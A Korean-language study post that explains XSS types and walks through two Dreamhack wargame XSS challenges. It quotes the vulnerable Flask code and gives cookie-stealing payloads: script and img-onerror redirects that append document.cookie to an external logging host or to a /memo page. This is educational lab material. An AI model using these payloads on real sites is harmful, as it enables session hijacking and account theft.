STUDY.md
  • 웹 해킹 (Web Hacking). XSS 클라이언트 사이드 취약점
    2024년 07월 01일 22시 32분 47초에 업로드 된 글입니다.
    작성자: 방세연

     

     

     

     

    Stored XSS 1. 악성스크립트가 서버에 저장
    2. 서버의 응답에 XSS가 담겨옴
    <script>태그, HTML 태그를 삽입하고
    반환되는 HTML 코드를 확인한다.
    Reflected XSS 1. 악성스크립트가 URL에 삽입
    2. 서버의 응답에 XSS가 담겨옴
    <script>채그, HTML 태그를 삽입하고
    반환되는 HTML 코드를 확인한다.
    DOM-based XSS 1. 악성스크립트가 URL Fragment에 삽입  
    Universal XSS 1. SOP 정책을 우회하는 XSS  

     

     

    Stored XSS

    게시글에 악성 스크립트를 삽입해 업로드하면 불특정 다수에게 보여진다.

    파급력이 높다.

     

     

    Reflected XSS

     

    검색창에 악성 스크립트가 포함되면 서버가 검색 결과를 받아들인다.

    Click Jacking과 Open Redirect 등의 취약점과 연계해 사용한다.

     


     🏆 xss-1 

     

    🔑KEY: 



    def check_xss(param, cookie={"name": "name", "value": "value"}):
        url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
        return read_url(url, cookie)
    check_xss는 read_url 함수를 호출한다.

    @app.route("/vuln")
    def vuln():
        param = request.args.get("param", "")
        return param
    /vuln은 입력받은 값을 페이지에 그대로 출력하는 XSS를 발생시킨다.
    사용자의 입력값 param을 화면 상에 표시한다.

        elif request.method == "POST":
            param = request.form.get("param")
            if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
    /flag에서는 param, 쿠키에 FLAG를 포함해 check_xss 함수를 호출한다.

    location.hrefdocument.cookie를 활용한다.



    #1. 외부에서 접근 가능한 웹 서버를 통해 쿠키 탈취하기
    <script>location.href = "http://cqdoyzh.request.dreamhack.games/?memo=" + document.cookie;</script>​

    드림핵 툴즈를 이용해서 이용자의 접속 기록을 저장하는 랜덤 URL을 생성한다.
    /flag의 입력창에 URL과 document.cookie를 입력한 후, 접속 기록을 확인해본다.

    flag가 나타나는 것을 알 수 있다.




    #2. /memo에 임의 이용자의 쿠키 정보를 확인하기

    @app.route("/memo")
    def memo():
        global memo_text
        text = request.args.get("memo", "")
        memo_text += text + "\n"
        return render_template("memo.html", memo=memo_text)
    /vuln에서 발생하는 xss 취약점을 통해 쿠키를 탈취해 /memo에 전달받아 FLAG를 확인해야 한다.


    <script>location.href = "/memo?memo=" + document.cookie;</script>​

    /flag 엔드포인트에 입력창에 document.cookie (쿠키를 읽고 씀)을 입력한다.
    /memo에서 확인할 수 있도록 코드를 작성한다.


    이후 /memo에 들어가보면 flag를 발견할 수 있다.

     

     

     

     🏆 xss-2 


    <script>location.href = "http://example.request.dreamhack.games/?memo=" + document.cookie;</script>​​

     

    이번엔 이 <script></script>를 사용할 수 없다. 왜일까?

    @app.route("/vuln")
    def vuln():
        return render_template("vuln.html")
    /vuln 함수를 살펴보면 이전에는 return param을 했지만, 이번에는 render_template를 return 하고있다.
    render_template는 전달된 변수나 값들을 HTML 엔티티코드로 변환해 저장하기 때문에 이전과 같은 XSS 취약점이 발생하지 않는다.

    def check_xss(param, cookie={"name": "name", "value": "value"}):
        url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
        return read_url(url, cookie)
    /flag에서 check_xss는 param을 포함한 vuln 페이지에 접근하는 URL을 생성한다.
    그리고 이 생성내용(쿠키들, URL)이 read_url 함수로 전달된다.

    def read_url(url, cookie={"name": "name", "value": "value"}):
        cookie.update({"domain": "127.0.0.1"})
        try:
            service = Service(executable_path="/chromedriver")
            options = webdriver.ChromeOptions()
            for _ in [
                "headless",
                "window-size=1920x1080",
                "disable-gpu",
                "no-sandbox",
                "disable-dev-shm-usage",
            ]:
                options.add_argument(_)
            driver = webdriver.Chrome(service=service, options=options)
            driver.implicitly_wait(3)
            driver.set_page_load_timeout(3)
            driver.get("http://127.0.0.1:8000/")
            driver.add_cookie(cookie)
            driver.get(url)
        except Exception as e:
            driver.quit()
            # return str(e)
            return False
        driver.quit()
        return True
    <script> 태그로는 내부 HTML을 읽어들일 수 없기 때문에 다른 방법을 사용해야 한다.
    (이때는 innerHTML을 사용하면 가능하다)



    <img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">

    이번에는 <script> 태그가 아닌 <img src> 태그를 사용한다.
    이 코드를 /flag에 넣어 제출하면 /vuln 페이지에 접근한다.


    이제 /vuln 페이지에 접근하면 이미지 로딩에 실패한다.

    XSS-1 문제와 마찬가지로 이번에도 /memo페이지에 접근하면 쿠키 탈취에 성공해 flag가 출력되는 것을 알 수 있다.



     

     

     

    💡스터디 참고 출처 : Dream Web Hacking

    https://dreamhack.io/lecture/roadmaps/1

    댓글